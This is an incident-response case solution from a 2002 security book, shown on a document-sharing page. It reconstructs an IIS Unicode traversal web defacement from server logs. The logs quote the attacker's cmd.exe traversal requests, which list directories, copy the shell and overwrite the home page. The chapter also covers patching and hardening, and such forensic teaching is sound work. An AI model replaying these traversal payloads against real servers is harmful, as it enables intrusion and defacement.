1
The French Connection
by Bill Pennington, Guardent, Inc.
197
Copyright 2002 by The McGraw-Hill Companies, Inc. Click Here for Terms of Use.
P
uzzled from what appeared to be a lack of evidence, the I.T. staff began to re-
search Web defacement attacks and soon discovered that the Web server soft-
ware they were using, Microsoft’s IIS Web server version 5.0, had a well-known
bug that easily allowed attackers to take control of the machine. The bug the attacker
exploited, the “Web server file request parsing vulnerability” (better known as the
“Unicode Attack”), is detailed in the CVE database under #CVE-2000-0886.
This was an unsettling discovery for the I.T. staff; they realized that this server
was on the inside of the network when it was compromised. Therefore, the attacker
could now have backdoors to any number of systems inside the network, as well as
copies of sensitive data and passwords.
Once the I.T. staff knew the probable method of entry, the well-known Unicode
Web server bug, they began to piece together the attack. The bug relies on the ability
to execute a system shell, a program called cmd.exe, in order to execute commands
on the Web server. The I.T. staff found that if this bug was used, evidence of the at-
tack would be in the Web server log files. They collected all of the log files from the
Web server and imported them into a database for analysis. As cmd.exe is not a
normally occurring string in Web server log files, they performed a search for that
string and found the following:
03/03/2001 4:01 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80
GET /scripts/../../winnt/system32/cmd.exe /c+dir+c: 200 730 484 3
1 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)
This was the first probe. If successful, the attacker would get a directory listing
of the victim computer’s C drive. This is a common, non-invasive technique em-
ployed by automated scanning programs to test whether a computer is vulnerable
to this bug, without causing any damage.
The next entry was another probe, looking at the directory listing of the D drive,
if it existed:
03/03/2001 4:01 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80
GET /scripts/../../winnt/system32/cmd.exe /c+dir+d: 200 747 484 3
1 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)
The following 13 log file entries show the attacker retrieving various directory
listings in order to get a lay of the land, so he could be familiar with the environ-
ment. This involved retrieving more directory listings, as well as viewing the vic-
tim’s home page.
03/03/2001 4:02 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80
GET /scripts/../../winnt/system32/cmd.exe /c+dir+e: 502 381 484 4
7 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)
03/03/2001 4:02 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80
GET /scripts/../../winnt/system32/cmd.exe /c+dir+c: 200 730 484 3
198 Hacker’s Challenge: Test Your Incident Response Skills Using 20 Scenarios
1 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)
03/03/2001 4:02 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80
GET /scripts/../../winnt/system32/cmd.exe /c+dir+c:asfroot 200 6
66 492 47 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows
+98)
03/03/2001 4:02 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80
GET /scripts/../../winnt/system32/cmd.exe /c+dir+c:inetpub 200 7
49 492 32 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows
+98)
03/03/2001 4:02 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80
GET /scripts/../../winnt/system32/cmd.exe /c+dir+c:inetpubwwwroo
t 200 1124 499 47 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;
+Windows+98)
03/03/2001 4:02 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80
GET /‘mmc.gif - 404 3387 440 0 www.victim.com Mozilla/4.0+(compati
ble;+MSIE+5.0;+Windows+98)
03/03/2001 4:02 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80
GET /mmc.gif - 404 3387 439 0 www.victim.com Mozilla/4.0+(compatib
le;+MSIE+5.0;+Windows+98)
03/03/2001 4:02 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80
GET /scripts/../../winnt/system32/cmd.exe /c+dir+d: 200 747 484 1
6 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)
03/03/2001 4:03 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80
GET /scripts/../../winnt/system32/cmd.exe /c+dir+d:wwwroot.com 2
00 229 496 32 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Win
dows+98)
03/03/2001 4:03 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80
GET /scripts/../../winnt/system32/cmd.exe /c+dir+d:wwwroot 200 4
113 492 47 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Window
s+98)
03/03/2001 4:03 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80
GET /buzzxyz.html - 200 228 444 16 www.victim.com Mozilla/4.0+(com
patible;+MSIE+5.0;+Windows+98)
03/03/2001 4:03 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80
Solution 1: The French Connection 199
200 Hacker’s Challenge: Test Your Incident Response Skills Using 20 Scenarios
GET /xyzBuzz3.swf - 200 245 324 5141 www.victim.com Mozilla/4.0+(c
ompatible;+MSIE+5.0;+Windows+98)
03/03/2001 4:03 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80
GET /index.html - 200 228 484 0 www.victim.com Mozilla/4.0+(compat
ible;+MSIE+5.0;+Windows+98) http://www.victim.com/buzzxyz.html
Once the attacker had a better understanding of the environment, the attack be-
gan. First, he renamed an auxiliary Web page to test his capabilities:
03/03/2001 4:05 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80
GET /scripts/../../winnt/system32/cmd.exe /c+rename+d:wwwrootdet
our.html+detour.html.old 502 355 522 31 www.victim.com Mozilla/4.0+
(compatible;+MSIE+5.0;+Windows+98)
Next, he created a directory, c:ArA, to set up shop; copied cmd.exe to his
work area; and renamed it cmd1.exe:
03/03/2001 4:05 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80
GET /scripts/../../winnt/system32/cmd.exe /c+md+c:ArA 502 355 48
8 31 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)
03/03/2001 4:05 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80
GET /scripts/../../winnt/system32/cmd.exe /c+copy+c:winntsystem3
2cmd.Exe+c:ArAcmd1.exe 502 382 524 125 www.victim.com Mozilla/4.
0+(compatible;+MSIE+5.0;+Windows+98)
The preceding is the last entry for the cmd.exe search. It becomes clear that the
attacker was then using cmd1.exe to do his dirty work. A search for cmd1.exe
turned up the entries that follow.
In the first entry for the cmd1.exe search, the attacker built the Web page he
wanted to use to replace the real Web page on the server:
03/03/2001 4:07 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80
GET /scripts/../../ArA/cmd1.exe /c+echo+"<title>SKI</title><center
><H1><b><u>****</u>SCRIPT+KIDZ, INC<u>****</u></h1><br><h2>You,+my+
friendz+,are+completely+owned.+I'm+here,+your+security+is+nowhere.<
br>Someone+should+check+your+system+security+coz+you+sure+aren't.<b
r></h2>"+>+c:ArAdefault.htm 502 355 763 31 www.victim.com Mozilla
/4.0+(compatible;+MSIE+5.0;+Windows+98)
The attacker made a backup of the original Web site:
03/03/2001 4:08 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80
GET /scripts/../../ArA/cmd1.exe /c+rename+d:wwwrootindex.html+in
dex.html.old 502 355 511 16 www.victim.com Mozilla/4.0+(compatible;
+MSIE+5.0;+Windows+98)
Finally, the attacker copied the defaced Web site over the original Web site and
viewed his handiwork:
03/03/2001 4:10 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80
GET /scripts/../../ArA/cmd1.exe /c+copy+c:ArAdefault.htm+d:wwwr
ootindex.html 502 382 514 31 www.victim.com Mozilla/4.0+(compatibl
e;+MSIE+5.0;+Windows+98)
03/03/2001 4:11 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80
GET /index.html - 200 276 414 15 www.victim.com Mozilla/4.0+(compa
tible;+MSIE+5.0;+Windows+98)
As you can see from the log files, the attack from start to finish took just ten minutes.
ANSWERS
1. The attacker used the “Web server file request parsing vulnerability,” as
detailed in the CVE database under #CVE-2000-0886, to get into the Web
server.
2. The attacker made a copy of cmd.exe and renamed it to cmd1.exe,
which obfuscated the audit trail, forcing the forensic investigator to
follow a new log pattern.
PREVENTION
Prevention of this attack would have been simple if the software on the Web server
was kept up to date. The patch for the vulnerability the attacker used was released
five months prior to the penetration. The patch in this case was in the form of a
hot-fix, and at the time of this writing had not been rolled into a full-service pack.
The administrators had installed all the service packs but had failed to install the ad-
ditional hot-fixes.
Proper hardening of the Web server could also have prevented this attack. When
executing this attack, the attacker is issuing commands as the IUSR_COMPTERNAME
account. This account has no special administrative privileges on the Web server other
than the privileges given to EVERYONE. The EVERYONE group, by default, has per-
mission to execute all of the commands located in the %winnt%/system32 directory.
On most servers of this kind, administrators are the only users that need to execute
these commands from the console. Removing the rights for the EVERYONE group to
execute the commands in the %winnt%/system32 directory would have prevented
this attack, and most other attacks in the same class.
Solution 1: The French Connection 201
MITIGATION
To mitigate the damage caused by the penetration, the company decided to com-
pletely rebuild the Web server from scratch using the latest software available.
While not always necessary, a complete rebuild is the best way to regain strong
confidence in a machine’s software after a penetration. For continued security and
accountability, the maintenance of the machine was assigned to a single person. In
order to gain peace of mind, the company also ordered a security audit from an
outside firm to assess any possible deeper penetration of their internal infrastruc-
ture. No further damage was found. However, a few weeks later, the company
would again find themselves in need of security assistance; that story is detailed in
Challenge 2, “The Insider.”
ADDITIONAL RESOURCES
The Honeynet project had a scan of the month of February 2001 that profiled a very
similar attack:
http://project.honeynet.org/scans/scan12/
Microsoft’s security bulletin for the vulnerability, including patch information:
http://www.microsoft.com/technet/security/bulletin/ms00-086.asp
The CVE entry:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0886
202 Hacker’s Challenge: Test Your Incident Response Skills Using 20 Scenarios

More Related Content

PPTX
Los siete ratones ciegosdocumento
PPT
Sembang2 Keselamatan It 2004
PPT
presentation
PDF
Intrusion Techniques
PDF
Lis4774.term paper part_a.cyber_eagles
PPTX
Hacking by Pratyush Gupta
DOC
Days of the Honeynet: Attacks, Tools, Incidents
PPTX
Prevent hacking
Los siete ratones ciegosdocumento
Sembang2 Keselamatan It 2004
presentation
Intrusion Techniques
Lis4774.term paper part_a.cyber_eagles
Hacking by Pratyush Gupta
Days of the Honeynet: Attacks, Tools, Incidents
Prevent hacking

Similar to case study1 web defacement answer.pdf (20)

PPT
DOCX
Continuing in your role as a human service provider for your local.docx
PDF
Ceh v5 module 11 hacking webservers
PDF
Kiran karnad rtc2014 ghdb-final
PPT
Introduction to Web Server Security
PDF
Remote file path traversal attacks for fun and profit
ODP
Web Security
PDF
Hack Attack! An Introduction to Penetration Testing
PDF
Attques web
PDF
ENPM808 Independent Study Final Report - amaster 2019
PDF
Hacking sites for fun and profit
PPT
Cleaning Compromised Systems - January 2004
PPTX
A Closer Look on C&C Panels
PPT
PDF
TS/NOFORN
PDF
Penetration Testing is the Art of the Manipulation
PDF
What should I do when my website got hack?
PDF
Advanced Malware Analysis
PDF
Cyber Espionage Against Georgia (Georbot)
PPT
Security & ethical hacking
Continuing in your role as a human service provider for your local.docx
Ceh v5 module 11 hacking webservers
Kiran karnad rtc2014 ghdb-final
Introduction to Web Server Security
Remote file path traversal attacks for fun and profit
Web Security
Hack Attack! An Introduction to Penetration Testing
Attques web
ENPM808 Independent Study Final Report - amaster 2019
Hacking sites for fun and profit
Cleaning Compromised Systems - January 2004
A Closer Look on C&C Panels
TS/NOFORN
Penetration Testing is the Art of the Manipulation
What should I do when my website got hack?
Advanced Malware Analysis
Cyber Espionage Against Georgia (Georbot)
Security & ethical hacking
Ad

More from Setiya Nugroho (15)

PDF
Network Security riset Network Automation + artikel.pdf
PDF
Modul 02 CRUD CI 3.pdf
PDF
Modul 02 CRUD CI 3.pdf
PDF
Web-based culinary tourism recommendation system
PDF
Network Automation.pdf
PDF
RPS 2022-Pemrograman Web 2.pdf
PDF
10. Data Security.pdf
PDF
3. Basic Pentesting 1 Walkthrough.pdf
PDF
Basic Cryptography.pdf
PDF
Web Programming Form
PDF
Access Control Fundamentals
PDF
WEEK5 Mobile Device Security 31032022.pdf
PDF
Modul 05 Framework CodeIgniter.pdf
PDF
PDF
Modul 4 Web Programming HTML Form & Hyperlink.pdf
Network Security riset Network Automation + artikel.pdf
Modul 02 CRUD CI 3.pdf
Modul 02 CRUD CI 3.pdf
Web-based culinary tourism recommendation system
Network Automation.pdf
RPS 2022-Pemrograman Web 2.pdf
10. Data Security.pdf
3. Basic Pentesting 1 Walkthrough.pdf
Basic Cryptography.pdf
Web Programming Form
Access Control Fundamentals
WEEK5 Mobile Device Security 31032022.pdf
Modul 05 Framework CodeIgniter.pdf
Modul 4 Web Programming HTML Form & Hyperlink.pdf
Ad

Recently uploaded (20)

PPTX
Benefits of Physical activity for teenagers.pptx
PDF
A contest of sentiment analysis: k-nearest neighbor versus neural network
PDF
Assigned Numbers - 2025 - Bluetooth® Document
PDF
Hindi spoken digit analysis for native and non-native speakers
PDF
Getting started with AI Agents and Multi-Agent Systems
PPTX
observCloud-Native Containerability and monitoring.pptx
PPTX
Tartificialntelligence_presentation.pptx
PDF
From MVP to Full-Scale Product A Startup’s Software Journey.pdf
PDF
DP Operators-handbook-extract for the Mautical Institute
PDF
WOOl fibre morphology and structure.pdf for textiles
PPTX
Modernising the Digital Integration Hub
PDF
Video forgery: An extensive analysis of inter-and intra-frame manipulation al...
PDF
Zenith AI: Advanced Artificial Intelligence
PDF
Univ-Connecticut-ChatGPT-Presentaion.pdf
PPTX
Group 1 Presentation -Planning and Decision Making .pptx
PDF
Architecture types and enterprise applications.pdf
PDF
Developing a website for English-speaking practice to English as a foreign la...
PPTX
O2C Customer Invoices to Receipt V15A.pptx
PDF
TrustArc Webinar - Click, Consent, Trust: Winning the Privacy Game
PPTX
Chapter 5: Probability Theory and Statistics
Benefits of Physical activity for teenagers.pptx
A contest of sentiment analysis: k-nearest neighbor versus neural network
Assigned Numbers - 2025 - Bluetooth® Document
Hindi spoken digit analysis for native and non-native speakers
Getting started with AI Agents and Multi-Agent Systems
observCloud-Native Containerability and monitoring.pptx
Tartificialntelligence_presentation.pptx
From MVP to Full-Scale Product A Startup’s Software Journey.pdf
DP Operators-handbook-extract for the Mautical Institute
WOOl fibre morphology and structure.pdf for textiles
Modernising the Digital Integration Hub
Video forgery: An extensive analysis of inter-and intra-frame manipulation al...
Zenith AI: Advanced Artificial Intelligence
Univ-Connecticut-ChatGPT-Presentaion.pdf
Group 1 Presentation -Planning and Decision Making .pptx
Architecture types and enterprise applications.pdf
Developing a website for English-speaking practice to English as a foreign la...
O2C Customer Invoices to Receipt V15A.pptx
TrustArc Webinar - Click, Consent, Trust: Winning the Privacy Game
Chapter 5: Probability Theory and Statistics

case study1 web defacement answer.pdf

  • 1. 1 The French Connection by Bill Pennington, Guardent, Inc. 197 Copyright 2002 by The McGraw-Hill Companies, Inc. Click Here for Terms of Use.
  • 2. P uzzled from what appeared to be a lack of evidence, the I.T. staff began to re- search Web defacement attacks and soon discovered that the Web server soft- ware they were using, Microsoft’s IIS Web server version 5.0, had a well-known bug that easily allowed attackers to take control of the machine. The bug the attacker exploited, the “Web server file request parsing vulnerability” (better known as the “Unicode Attack”), is detailed in the CVE database under #CVE-2000-0886. This was an unsettling discovery for the I.T. staff; they realized that this server was on the inside of the network when it was compromised. Therefore, the attacker could now have backdoors to any number of systems inside the network, as well as copies of sensitive data and passwords. Once the I.T. staff knew the probable method of entry, the well-known Unicode Web server bug, they began to piece together the attack. The bug relies on the ability to execute a system shell, a program called cmd.exe, in order to execute commands on the Web server. The I.T. staff found that if this bug was used, evidence of the at- tack would be in the Web server log files. They collected all of the log files from the Web server and imported them into a database for analysis. As cmd.exe is not a normally occurring string in Web server log files, they performed a search for that string and found the following: 03/03/2001 4:01 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir+c: 200 730 484 3 1 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98) This was the first probe. If successful, the attacker would get a directory listing of the victim computer’s C drive. This is a common, non-invasive technique em- ployed by automated scanning programs to test whether a computer is vulnerable to this bug, without causing any damage. The next entry was another probe, looking at the directory listing of the D drive, if it existed: 03/03/2001 4:01 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir+d: 200 747 484 3 1 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98) The following 13 log file entries show the attacker retrieving various directory listings in order to get a lay of the land, so he could be familiar with the environ- ment. This involved retrieving more directory listings, as well as viewing the vic- tim’s home page. 03/03/2001 4:02 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir+e: 502 381 484 4 7 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98) 03/03/2001 4:02 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir+c: 200 730 484 3 198 Hacker’s Challenge: Test Your Incident Response Skills Using 20 Scenarios
  • 3. 1 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98) 03/03/2001 4:02 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir+c:asfroot 200 6 66 492 47 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows +98) 03/03/2001 4:02 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir+c:inetpub 200 7 49 492 32 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows +98) 03/03/2001 4:02 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir+c:inetpubwwwroo t 200 1124 499 47 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0; +Windows+98) 03/03/2001 4:02 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /‘mmc.gif - 404 3387 440 0 www.victim.com Mozilla/4.0+(compati ble;+MSIE+5.0;+Windows+98) 03/03/2001 4:02 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /mmc.gif - 404 3387 439 0 www.victim.com Mozilla/4.0+(compatib le;+MSIE+5.0;+Windows+98) 03/03/2001 4:02 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir+d: 200 747 484 1 6 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98) 03/03/2001 4:03 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir+d:wwwroot.com 2 00 229 496 32 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Win dows+98) 03/03/2001 4:03 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir+d:wwwroot 200 4 113 492 47 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Window s+98) 03/03/2001 4:03 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /buzzxyz.html - 200 228 444 16 www.victim.com Mozilla/4.0+(com patible;+MSIE+5.0;+Windows+98) 03/03/2001 4:03 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 Solution 1: The French Connection 199
  • 4. 200 Hacker’s Challenge: Test Your Incident Response Skills Using 20 Scenarios GET /xyzBuzz3.swf - 200 245 324 5141 www.victim.com Mozilla/4.0+(c ompatible;+MSIE+5.0;+Windows+98) 03/03/2001 4:03 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /index.html - 200 228 484 0 www.victim.com Mozilla/4.0+(compat ible;+MSIE+5.0;+Windows+98) http://www.victim.com/buzzxyz.html Once the attacker had a better understanding of the environment, the attack be- gan. First, he renamed an auxiliary Web page to test his capabilities: 03/03/2001 4:05 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+rename+d:wwwrootdet our.html+detour.html.old 502 355 522 31 www.victim.com Mozilla/4.0+ (compatible;+MSIE+5.0;+Windows+98) Next, he created a directory, c:ArA, to set up shop; copied cmd.exe to his work area; and renamed it cmd1.exe: 03/03/2001 4:05 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+md+c:ArA 502 355 48 8 31 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98) 03/03/2001 4:05 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+copy+c:winntsystem3 2cmd.Exe+c:ArAcmd1.exe 502 382 524 125 www.victim.com Mozilla/4. 0+(compatible;+MSIE+5.0;+Windows+98) The preceding is the last entry for the cmd.exe search. It becomes clear that the attacker was then using cmd1.exe to do his dirty work. A search for cmd1.exe turned up the entries that follow. In the first entry for the cmd1.exe search, the attacker built the Web page he wanted to use to replace the real Web page on the server: 03/03/2001 4:07 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../ArA/cmd1.exe /c+echo+"<title>SKI</title><center ><H1><b><u>****</u>SCRIPT+KIDZ, INC<u>****</u></h1><br><h2>You,+my+ friendz+,are+completely+owned.+I'm+here,+your+security+is+nowhere.< br>Someone+should+check+your+system+security+coz+you+sure+aren't.<b r></h2>"+>+c:ArAdefault.htm 502 355 763 31 www.victim.com Mozilla /4.0+(compatible;+MSIE+5.0;+Windows+98) The attacker made a backup of the original Web site: 03/03/2001 4:08 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../ArA/cmd1.exe /c+rename+d:wwwrootindex.html+in dex.html.old 502 355 511 16 www.victim.com Mozilla/4.0+(compatible; +MSIE+5.0;+Windows+98)
  • 5. Finally, the attacker copied the defaced Web site over the original Web site and viewed his handiwork: 03/03/2001 4:10 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../ArA/cmd1.exe /c+copy+c:ArAdefault.htm+d:wwwr ootindex.html 502 382 514 31 www.victim.com Mozilla/4.0+(compatibl e;+MSIE+5.0;+Windows+98) 03/03/2001 4:11 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /index.html - 200 276 414 15 www.victim.com Mozilla/4.0+(compa tible;+MSIE+5.0;+Windows+98) As you can see from the log files, the attack from start to finish took just ten minutes. ANSWERS 1. The attacker used the “Web server file request parsing vulnerability,” as detailed in the CVE database under #CVE-2000-0886, to get into the Web server. 2. The attacker made a copy of cmd.exe and renamed it to cmd1.exe, which obfuscated the audit trail, forcing the forensic investigator to follow a new log pattern. PREVENTION Prevention of this attack would have been simple if the software on the Web server was kept up to date. The patch for the vulnerability the attacker used was released five months prior to the penetration. The patch in this case was in the form of a hot-fix, and at the time of this writing had not been rolled into a full-service pack. The administrators had installed all the service packs but had failed to install the ad- ditional hot-fixes. Proper hardening of the Web server could also have prevented this attack. When executing this attack, the attacker is issuing commands as the IUSR_COMPTERNAME account. This account has no special administrative privileges on the Web server other than the privileges given to EVERYONE. The EVERYONE group, by default, has per- mission to execute all of the commands located in the %winnt%/system32 directory. On most servers of this kind, administrators are the only users that need to execute these commands from the console. Removing the rights for the EVERYONE group to execute the commands in the %winnt%/system32 directory would have prevented this attack, and most other attacks in the same class. Solution 1: The French Connection 201
  • 6. MITIGATION To mitigate the damage caused by the penetration, the company decided to com- pletely rebuild the Web server from scratch using the latest software available. While not always necessary, a complete rebuild is the best way to regain strong confidence in a machine’s software after a penetration. For continued security and accountability, the maintenance of the machine was assigned to a single person. In order to gain peace of mind, the company also ordered a security audit from an outside firm to assess any possible deeper penetration of their internal infrastruc- ture. No further damage was found. However, a few weeks later, the company would again find themselves in need of security assistance; that story is detailed in Challenge 2, “The Insider.” ADDITIONAL RESOURCES The Honeynet project had a scan of the month of February 2001 that profiled a very similar attack: http://project.honeynet.org/scans/scan12/ Microsoft’s security bulletin for the vulnerability, including patch information: http://www.microsoft.com/technet/security/bulletin/ms00-086.asp The CVE entry: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0886 202 Hacker’s Challenge: Test Your Incident Response Skills Using 20 Scenarios